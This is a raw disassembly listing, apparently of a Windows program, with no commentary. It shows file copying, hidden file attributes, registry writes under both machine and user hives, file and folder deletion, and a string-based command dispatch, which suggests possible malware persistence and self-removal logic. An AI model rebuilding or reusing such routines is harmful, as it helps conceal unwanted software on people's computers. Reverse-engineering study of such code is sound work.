mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x1824]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
push 0x80
lea edx, [ebp - 0x1830]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1830]
lea edx, [ebp - 0x182c]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x182c]
lea eax, [ebp - 0x1828]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1828]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea edx, [ebp - 0x183c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x183c]
lea edx, [ebp - 0x1838]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x1838]
lea eax, [ebp - 0x1834]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1834]
call fcn.00405f28
push eax
lea edx, [ebp - 0x1840]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1840]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x184c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x184c]
lea edx, [ebp - 0x1848]
call fcn.00589d2c
push dword [ebp - 0x1848]
push 0x5af060
lea eax, [ebp - 0x1844]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1844]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp dword [0x5dcc9c], 0
jne 0x5a114a
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1858]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1858]
lea edx, [ebp - 0x1854]
call fcn.00589d2c
push dword [ebp - 0x1854]
push 0x5af060
lea eax, [ebp - 0x1850]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1850]
call fcn.00405f28
push eax
push dword [0x5dccc8]
lea edx, [ebp - 0x1864]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1864]
lea edx, [ebp - 0x1860]
call fcn.00589d2c
push dword [ebp - 0x1860]
push 0x5af060
lea eax, [ebp - 0x185c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x185c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x5a11a7
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1870]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1870]
lea edx, [ebp - 0x186c]
call fcn.00589d2c
push dword [ebp - 0x186c]
push 0x5af060
lea eax, [ebp - 0x1868]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1868]
call fcn.00405f28
push eax
mov eax, dword [0x5dcc9c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x187c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x187c]
lea edx, [ebp - 0x1878]
call fcn.00589d2c
push dword [ebp - 0x1878]
push 0x5af0b8
lea eax, [ebp - 0x1874]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1874]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1888]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1888]
lea edx, [ebp - 0x1884]
call fcn.00589d2c
push dword [ebp - 0x1884]
push 0x5af0b8
lea eax, [ebp - 0x1880]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1880]
call fcn.00405f28
push eax
push dword [0x5dccc8]
lea edx, [ebp - 0x1894]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1894]
lea edx, [ebp - 0x1890]
call fcn.00589d2c
push dword [ebp - 0x1890]
push 0x5af0b8
lea eax, [ebp - 0x188c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x188c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x1898]
mov ecx, 0x5af0c8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1898]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x189c]
mov ecx, 0x5af0c8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x189c]
call fcn.00405f28
push eax
lea eax, [ebp - 0x18a0]
mov ecx, 0x5af0c8
mov edx, dword [0x5dccc8]
call fcn.00405db0
mov eax, dword [ebp - 0x18a0]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x18a4]
mov ecx, 0x5af0d8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x18a4]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x18a8]
mov ecx, 0x5af0d8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x18a8]
call fcn.00405f28
push eax
lea eax, [ebp - 0x18ac]
mov ecx, 0x5af0d8
mov edx, dword [0x5dccc8]
call fcn.00405db0
mov eax, dword [ebp - 0x18ac]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18b8]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x18b8]
lea edx, [ebp - 0x18b4]
call fcn.00589d2c
push dword [ebp - 0x18b4]
push 0x5ae484
lea eax, [ebp - 0x18b0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x18b0]
mov cl, 1
xor edx, edx
call fcn.00591b08
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18c4]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x18c4]
lea edx, [ebp - 0x18c0]
call fcn.00589d2c
push dword [ebp - 0x18c0]
push 0x5ae494
lea eax, [ebp - 0x18bc]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x18bc]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x74]
cmp dword [0x5dcd60], 0
je 0x5a14a9
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18d0]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x18d0]
lea edx, [ebp - 0x18cc]
call fcn.00589d2c
push dword [ebp - 0x18cc]
push 0x5ae5ac
lea eax, [ebp - 0x18c8]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x18c8]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
mov edx, dword [0x5dcd60]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
jmp 0x5a1511
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18dc]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x18dc]
lea edx, [ebp - 0x18d8]
call fcn.00589d2c
push dword [ebp - 0x18d8]
push 0x5ae5ac
lea eax, [ebp - 0x18d4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x734]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x735], al
mov byte [0x5dcc8d], 1
mov byte [0x5dcc8c], 0
jmp 0x5a17a2
lea eax, [ebp - 0x18e0]
push eax
lea ecx, [ebp - 0x18e4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18e4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x18e0]
call fcn.005936d4
test al, al
jne 0x5a15aa
lea eax, [ebp - 0x18e8]
push eax
lea ecx, [ebp - 0x18ec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18ec]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x18e8]
call fcn.005936d4
test al, al
je 0x5a17a2
cmp dword [0x5dcd78], 2
jne 0x5a15f3
lea eax, [ebp - 0x18f0]
mov ecx, dword [0x5dcd0c]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x18f0]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x73d], al
mov dl, 1
mov eax, dword [ebp - 0x3c0]
call fcn.0042df70
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, dword [ebp - 0x3c0]
call fcn.0040b914
test al, al
je 0x5a179b
xor eax, eax
mov dword [ebp - 0x56c], eax
jmp 0x5a1634
inc dword [ebp - 0x56c]
lea edx, [ebp - 0x1900]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc94
mov eax, dword [ebp - 0x1900]
lea edx, [ebp - 0x18fc]
call fcn.0040bbcc
mov eax, dword [ebp - 0x18fc]
lea edx, [ebp - 0x18f8]
call fcn.00589dcc
push dword [ebp - 0x18f8]
push 0x5aebf8
lea edx, [ebp - 0x1904]
mov eax, dword [ebp - 0x56c]
call fcn.0040b1ec
push dword [ebp - 0x1904]
lea eax, [ebp - 0x18f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x18f4]
call fcn.0040b914
test al, al
jne 0x5a162e
lea edx, [ebp - 0x1910]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc94
mov eax, dword [ebp - 0x1910]
lea edx, [ebp - 0x190c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x190c]
lea edx, [ebp - 0x1908]
call fcn.00589dcc
push dword [ebp - 0x1908]
push 0x5aebf8
lea edx, [ebp - 0x1914]
mov eax, dword [ebp - 0x56c]
call fcn.0040b1ec
push dword [ebp - 0x1914]
push 0x5ae478
lea eax, [ebp - 0x410]
mov edx, 4
call fcn.00405e2c
mov eax, dword [ebp - 0x410]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_MoveFileA
lea edx, [ebp - 0x1920]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1920]
lea edx, [ebp - 0x191c]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x191c]
lea eax, [ebp - 0x1918]
mov edx, dword [ebp - 0x410]
call fcn.00405db0
mov eax, dword [ebp - 0x1918]
call fcn.0042de1c
lea eax, [ebp - 0x1924]
mov ecx, 0x5af0c8
mov edx, dword [ebp - 0x410]
call fcn.00405db0
mov eax, dword [ebp - 0x1924]
call fcn.0042de1c
mov eax, dword [ebp - 0x410]
call fcn.0042de1c
mov byte [0x5dcc8c], 1
lea edx, [ebp - 0x1928]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0x1928]
call fcn.005936d4
test al, al
je 0x5a17cd
mov dword [ebp - 0x594], 0x80000002
jmp 0x5a17d7
mov dword [ebp - 0x594], 0x80000001
mov eax, dword [0x5d6114]
cmp dword [eax], 1
jne 0x5a17eb
mov dword [ebp - 0x594], 0x80000002
lea eax, [ebp - 0x192c]
push eax
lea ecx, [ebp - 0x1930]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1930]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x192c]
call fcn.005936d4
test al, al
jne 0x5a18ba
lea eax, [ebp - 0x1934]
push eax
lea ecx, [ebp - 0x1938]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1938]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1934]
call fcn.005936d4
test al, al
jne 0x5a1cca
lea eax, [ebp - 0x193c]
push eax
lea ecx, [ebp - 0x1940]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1940]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x193c]
call fcn.005936d4
test al, al
jne 0x5a1cca
mov dword [ebp - 0x844], 0x94
lea eax, [ebp - 0x844]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x840], 5
jb 0x5a1994
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, dword [ebp - 0x594]
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20006
lea eax, [ebp - 0x1944]
mov ecx, dword [0x5dcd0c]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x1944]
mov cl, 1
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x194c]
mov eax, dword [ebp - 0x3c4]
call fcn.0040bcb8
push dword [ebp - 0x194c]
push 0x5af0ec
lea eax, [ebp - 0x1948]
mov edx, 3
call fcn.00405e2c
mov ecx, dword [ebp - 0x1948]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, dword [ebp - 0x594]
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20006
lea edx, [ebp - 0x1954]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x1954]
lea eax, [ebp - 0x1950]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x1950]
mov cl, 1
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
lea edx, [ebp - 0x1960]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1960]
lea edx, [ebp - 0x195c]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x195c]
lea eax, [ebp - 0x1958]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov ecx, dword [ebp - 0x1958]
mov edx, 0x5af0fc
mov eax, dword [ebp - 0x554]
call fcn.00431060
lea edx, [ebp - 0x1964]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x1964]
mov edx, 0x5af110
mov eax, dword [ebp - 0x554]
call fcn.00431060
push 0x5ae46c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1970]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1970]
lea edx, [ebp - 0x196c]
call fcn.0040bcb8
push dword [ebp - 0x196c]
push 0x5af124
lea eax, [ebp - 0x1968]
mov edx, 4
call fcn.00405e2c
mov ecx, dword [ebp - 0x1968]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431060
lea edx, [ebp - 0x197c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x197c]
lea edx, [ebp - 0x1978]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x1978]
lea eax, [ebp - 0x1974]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov ecx, dword [ebp - 0x1974]
mov edx, 0x5af148
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov ecx, dword [0x5dcd44]
mov edx, 0x5af15c
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov ecx, dword [0x5dcd48]
mov edx, 0x5af170
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov ecx, dword [0x5dcd4c]
mov edx, 0x5af180
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov ecx, dword [0x5dcd50]
mov edx, 0x5af194
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov ecx, dword [0x5dcd54]
mov edx, 0x5af1ac
mov eax, dword [ebp - 0x554]
call fcn.00431060
lea edx, [ebp - 0x1984]
mov eax, 0x5adf6c
call fcn.0058fff8
mov eax, dword [ebp - 0x1984]
lea edx, [ebp - 0x1980]
call fcn.0058ff30
mov ecx, dword [ebp - 0x1980]
mov edx, 0x5af1c0
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov eax, dword [ebp - 0x554]
call fcn.00430994
lea eax, [ebp - 0x1988]
mov ecx, dword [0x5dcd0c]
mov edx, 0x5af1d8
call fcn.00405db0
mov edx, dword [ebp - 0x1988]
mov cl, 1
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
push dword [ebp - 0x3c8]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x198c]
mov edx, 3
call fcn.00405e2c
mov ecx, dword [ebp - 0x198c]
xor edx, edx
mov eax, dword [ebp - 0x554]
call fcn.00431060
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
lea eax, [ebp - 0x1990]
mov ecx, 0x5af210
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x1990]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
mov edx, dword [0x5dcd0c]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
mov edx, dword [0x5dcd10]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea edx, [ebp - 0x1994]
mov eax, 0x5ae38c
call fcn.0058fff8
mov edx, dword [ebp - 0x1994]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
jmp 0x5ad501
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
lea edx, [ebp - 0x199c]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x199c]
lea eax, [ebp - 0x1998]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x1998]
mov eax, dword [ebp - 0x554]
call fcn.00430d20
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
lea edx, [ebp - 0x19a4]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x19a4]
lea eax, [ebp - 0x19a0]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x19a0]
mov eax, dword [ebp - 0x554]
call fcn.00430d20
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
lea eax, [ebp - 0x19a8]
mov ecx, dword [0x5dcd0c]
mov edx, 0x5af1d8
call fcn.00405db0
mov edx, dword [ebp - 0x19a8]
mov eax, dword [ebp - 0x554]
call fcn.00430d20
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
lea eax, [ebp - 0x19ac]
mov ecx, dword [0x5dcd0c]
mov edx, 0x5af1d8
call fcn.00405db0
mov edx, dword [ebp - 0x19ac]
mov eax, dword [ebp - 0x554]
call fcn.00430d20
mov eax, dword [ebp - 0x554]
call fcn.00404b38
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af228
call fcn.00405ec0
je 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af238
call fcn.00405ec0
jne 0x5a2015
xor eax, eax
push ebp
push 0x5a200e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x19b4]
push eax
lea ecx, [ebp - 0x19b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19b8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x19b4]
lea edx, [ebp - 0x19b0]
call fcn.005939c8
cmp dword [ebp - 0x19b0], 0
jne 0x5a1e99
lea eax, [ebp - 0x3b4]
call fcn.00593e98
jmp 0x5a1f33
mov eax, 0x41000
call fcn.00402fc0
mov esi, eax
push 0x41000
push esi
push 0x5af250
lea eax, [ebp - 0x19c4]
push eax
lea ecx, [ebp - 0x19c8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19c8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x19c4]
lea edx, [ebp - 0x19c0]
call fcn.005939c8
push dword [ebp - 0x19c0]
push 0x5af250
lea eax, [ebp - 0x19bc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x19bc]
call fcn.00405f28
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3b4]
mov edx, esi
call fcn.00405c90
mov eax, esi
call fcn.00402fdc
lea eax, [ebp - 0x19cc]
push eax
lea ecx, [ebp - 0x19d0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x19cc]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a1fb1
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x19d4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19d4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x19d8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x19d8]
push eax
lea eax, [ebp - 0x19dc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x19dc]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af25c
call fcn.00405ec0
jne 0x5a211b
lea edx, [ebp - 0x19e0]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x19e0]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x19e4]
push eax
lea ecx, [ebp - 0x19e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19e8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x19e4]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a20c9
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x19ec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x19f0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x19f0]
push eax
lea eax, [ebp - 0x19f4]
call fcn.0057b1a0
mov eax, dword [ebp - 0x19f4]
push eax
lea eax, [ebp - 0x19f8]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x19f8]
pop edx
pop eax
call fcn.0059002c
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af278
call fcn.00405ec0
jne 0x5a22fd
lea edx, [ebp - 0x19fc]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x19fc]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x1a00]
push eax
lea ecx, [ebp - 0x1a04]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a04]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a00]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5a220d
push 0
lea eax, [ebp - 0x1a0c]
push eax
lea eax, [ebp - 0x1a10]
push eax
lea ecx, [ebp - 0x1a14]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a14]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1a10]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1a0c]
lea edx, [ebp - 0x1a08]
call fcn.005939c8
mov edx, dword [ebp - 0x1a08]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x1a18]
push eax
lea ecx, [ebp - 0x1a1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a18]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a228b
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a20]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a20]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x1a28]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a28]
call fcn.0057cc80
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a24]
call fcn.0040b2d8
mov eax, dword [ebp - 0x1a24]
push eax
lea edx, [ebp - 0x1a2c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1a2c]
push eax
lea eax, [ebp - 0x1a30]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1a30]
pop eax
pop edx
call fcn.0059002c
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af294
call fcn.00405ec0
jne 0x5a251a
xor eax, eax
push ebp
push 0x5a2513
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x1a3c]
push eax
lea ecx, [ebp - 0x1a40]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a40]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a3c]
lea edx, [ebp - 0x1a38]
call fcn.005939c8
mov eax, dword [ebp - 0x1a38]
lea edx, [ebp - 0x1a34]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a34]
lea ecx, [ebp - 0x5b8]
lea edx, [ebp - 0x5b4]
call fcn.0058b068
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a44]
call fcn.0040b2d8
push dword [ebp - 0x1a44]
push 0x5af2b0
mov eax, dword [ebp - 0x5b8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a48]
call fcn.0040b2d8
push dword [ebp - 0x1a48]
push 0x5af2b0
mov eax, dword [ebp - 0x5bc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a4c]
call fcn.0040b2d8
push dword [ebp - 0x1a4c]
push 0x5af2b0
mov eax, dword [ebp - 0x5c0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a50]
call fcn.0040b2d8
push dword [ebp - 0x1a50]
lea eax, [ebp - 0x3b4]
mov edx, 7
call fcn.00405e2c
lea eax, [ebp - 0x1a54]
push eax
lea ecx, [ebp - 0x1a58]
